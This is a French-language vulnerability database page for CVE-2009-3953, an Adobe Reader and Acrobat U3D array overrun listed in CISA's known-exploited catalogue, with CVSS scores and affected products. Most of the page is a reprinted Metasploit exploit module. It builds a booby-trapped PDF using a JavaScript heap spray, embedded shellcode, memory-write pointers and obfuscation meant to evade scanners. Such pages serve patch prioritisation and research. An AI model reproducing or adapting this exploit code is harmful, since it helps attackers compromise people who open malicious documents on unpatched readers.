Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-787 |
Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Adobe Acrobat and Reader Universal 3D Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-06-07 22h00 +00:00
Action attendue : 2022-06-21 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16622
Date de publication : 2010-09-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: adobe_u3d_meshdecl.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
'Description' => %q{
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
specially crafted pdf that a contains malformed U3D data, an attacker may
be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
'jduck'
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-3953' ],
[ 'OSVDB', '61690' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.2 - works
# reader 8.1.3 - not working :-/
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - works
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
{
'Size' => (6500/20),
'DataAddr' => 0x09011020,
'WriteAddr' => 0x7c49fb34,
}
],
],
'DisclosureDate' => 'Oct 13 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
=begin
Original notes on heap technique used in this exploit:
## PREPAREHOLES:
## We will construct 6500*20 bytes long chunks starting like this
## |0 |6 |8 |C |24 |size
## |00000... |0100|20100190|0000... | ......pad...... |
## \ \
## \ \ -Pointer: to controlled data
## \ -Flag: must be 1
## -Adobe will handle this ragged structure if the Flag is on.
## -Adobe will get 'what to write where' from the memory pointed
## by our supplied Pointer.
##
## then allocate a bunch of those ..
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
##
## and then free some of them...
## .. | chunk | free | chunk | free | chunk | free | chunck | ..
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|
##
## This way controlling when the next 6500*20 malloc will be
## followed with. We freed more than one hole so it became tolerant
## to some degree of malloc/free trace noise.
## Note the 6500 is arbitrary it should be a fairly unused chunk size
## not big enough to cause a different type of allocation.
## Also as we don't need to reference it from anywhere we don't care
## where this hole layout is placed in memory.
## PREPAREMEMORY:
## In the next technique we make a big-chunk of 0x10000 bytes
## repeating a 0x1000 bytes long mini-chunk of controled data.
## Big-chunks are always allocated aligned to 0x1000. And if we
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
## will have our mini chunk
##
## A mini-chunk will have this look
##
## |0 |10 |54 |? |0xff0 |0x1000
## |00000... | POINTERS | nops | shellcode | pad |
##
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
## But we use 0x09011064.
## POINTERS looks like this:
## ...
=end
# prepare the hole
daddr = target['DataAddr']
hole_data = [0,0,1,daddr].pack('VvvV')
#padding
hole_data << "\x00" * 24
hole = Rex::Text.to_unescape(hole_data)
# prepare ptrs
ptrs_data = [0].pack('V')
#where to write
ptrs_data << [target['WriteAddr'] / 4].pack('V')
#must be greater tan 5 and less than x for getting us where we want
ptrs_data << [6].pack('V')
#what to write
ptrs_data << [(daddr+0x10)].pack('V')
#autopointer for print magic(tm)
ptrs_data << [(daddr+0x14)].pack('V')
#function pointers for print magic(tm)
#pointing to our shellcode
ptrs_data << [(daddr+0x44)].pack('V') * 12
ptrs = Rex::Text.to_unescape(ptrs_data)
js_doc = <<-EOF
function prepareHoles(slide_size)
{
var size = 1000;
var xarr = new Array(size);
var hole = unescape("#{hole}");
var pad = unescape("%u5858");
while (pad.length <= slide_size/2 - hole.length)
pad += pad;
for (loop1=0; loop1 < size; loop1+=1)
{
ident = ""+loop1;
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
}
for (loop2=0;loop2<100;loop2++)
{
for (loop1=size/2; loop1 < size-2; loop1+=2)
{
xarr[loop1]=null;
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
xarr[loop1]=null;
}
}
return xarr;
}
function prepareMemory(size)
{
var mini_slide_size = 0x1000;
var slide_size = 0x100000;
var xarr = new Array(size);
var pad = unescape("%ucccc");
while (pad.length <= 32 )
pad += pad;
var nops = unescape("#{nops}");
while (nops.length <= mini_slide_size/2 - nops.length)
nops += nops;
var shellcode = unescape("#{shellcode}");
var pointers = unescape("#{ptrs}");
var chunk = nops.substring(0,32/2) + pointers +
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
shellcode + pad.substring(0,32/2);
chunk=chunk.substring(0,mini_slide_size/2);
while (chunk.length <= slide_size/2)
chunk += chunk;
for (loop1=0; loop1 < size; loop1+=1)
{
ident = ""+loop1;
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
}
return xarr;
}
var mem = prepareMemory(200);
var holes = prepareHoles(6500);
this.pageNum = 1;
EOF
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
# Obfuscate it up a bit
js_doc = obfuscate_js(js_doc,
'Symbols' => {
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
'Methods' => %W{ prepareMemory prepareHoles }
}).to_s
# create the u3d stuff
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
# Create the pdf
pdf = make_pdf(u3d, js_doc, js_pg1)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj\n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def u3d_pad(str, char="\x00")
ret = ""
if (str.length % 4) > 0
ret << char * (4 - (str.length % 4))
end
return ret
end
def make_u3d_stream(size, meshname)
# build the U3D header
hdr_data = [1,0].pack('n*') # version info
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
hdr = "U3D\x00"
hdr << [hdr_data.length,0].pack('VV')
hdr << hdr_data
# mesh declaration
decl_data = [meshname.length].pack('v')
decl_data << meshname
decl_data << [0].pack('V') # chain idx
# max mesh desc
decl_data << [0].pack('V') # mesh attrs
decl_data << [1].pack('V') # face count
decl_data << [size].pack('V') # position count
decl_data << [4].pack('V') # normal count
decl_data << [0].pack('V') # diffuse color count
decl_data << [0].pack('V') # specular color count
decl_data << [0].pack('V') # texture coord count
decl_data << [1].pack('V') # shading count
# shading desc
decl_data << [0].pack('V') # shading attr
decl_data << [0].pack('V') # texture layer count
decl_data << [0].pack('V') # texture coord dimensions
# no textore coords (original shading ids)
decl_data << [size+2].pack('V') # minimum resolution
decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
# quality factors
decl_data << [0x12c].pack('V') # position quality factor
decl_data << [0x12c].pack('V') # normal quality factor
decl_data << [0x12c].pack('V') # texture coord quality factor
# inverse quantiziation
decl_data << [0].pack('V') # position inverse quant
decl_data << [0].pack('V') # normal inverse quant
decl_data << [0].pack('V') # texture coord inverse quant
decl_data << [0].pack('V') # diffuse color inverse quant
decl_data << [0].pack('V') # specular color inverse quant
# resource params
decl_data << [0].pack('V') # normal crease param
decl_data << [0].pack('V') # normal update param
decl_data << [0].pack('V') # normal tolerance param
# skeleton description
decl_data << [0].pack('V') # bone count
# padding
decl_pad = u3d_pad(decl_data)
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
mesh_decl << decl_data
mesh_decl << decl_pad
# build the modifier chain
chain_data = [meshname.length].pack('v')
chain_data << meshname
chain_data << [1].pack('V') # type (model resource)
chain_data << [0].pack('V') # attributes (no bounding info)
chain_data << u3d_pad(chain_data)
chain_data << [1].pack('V') # number of modifiers
chain_data << mesh_decl
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
modifier_chain << chain_data
# mesh continuation
cont_data = [meshname.length].pack('v')
cont_data << meshname
cont_data << [0].pack('V') # chain idx
cont_data << [0].pack('V') # start resolution
cont_data << [0].pack('V') # end resolution
# no resolution update, unknown data follows
cont_data << [0].pack('V')
cont_data << [1].pack('V') * 10
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data
mesh_cont << u3d_pad(cont_data)
data = hdr
data << modifier_chain
data << mesh_cont
# patch the length
data[24,4] = [data.length].pack('V')
return data
end
def make_pdf(u3d_stream, js_doc, js_pg1)
xref = []
eol = "\x0a"
obj_end = "" << eol << "endobj" << eol
# the header
pdf = "%PDF-1.7" << eol
# filename/comment
pdf << "%" << RandomNonASCIIString(4) << eol
# js stream (doc open action js)
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << obj_end
# js stream 2 (page 1 annot js)
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << obj_end
# catalog
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
pdf << nObfu("/Pages ") << ioRef(5)
pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
pdf << obj_end
# outline
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
pdf << obj_end
# pages/kids
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
pdf << ioRef(10) << " " # empty page
pdf << ioRef(11) # u3d page
pdf << nObfu("]>>")
pdf << obj_end
# u3d stream
xref << pdf.length
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
pdf << "stream" << eol
pdf << u3d_stream << eol
pdf << "endstream"
pdf << obj_end
# u3d annotation object
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
pdf << "/3D/3DA <</A/PO/DIS/I>>"
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
pdf << obj_end
# js dict (open action js)
xref << pdf.length
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
# js dict (page 1 annot js)
xref << pdf.length
pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
# page 0 (empty)
xref << pdf.length
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu(" >>")
pdf << obj_end
# page 1 (u3d/print)
xref << pdf.length
pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
pdf << nObfu(">>")
pdf << obj_end
# xrefs
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
# trailer
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
Products Mentioned
Configuraton 0
Adobe>>Acrobat >> Version From (including) 7.0 To (excluding) 7.1.4
Adobe>>Acrobat >> Version From (including) 8.0 To (excluding) 8.2
Adobe>>Acrobat >> Version From (including) 9.0 To (excluding) 9.3
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Suse>>Linux_enterprise_debuginfo >> Version 11
Opensuse>>Opensuse >> Version 11.1
Opensuse>>Opensuse >> Version 11.2
Suse>>Linux_enterprise >> Version 10.0
Suse>>Linux_enterprise >> Version 10.0
Références
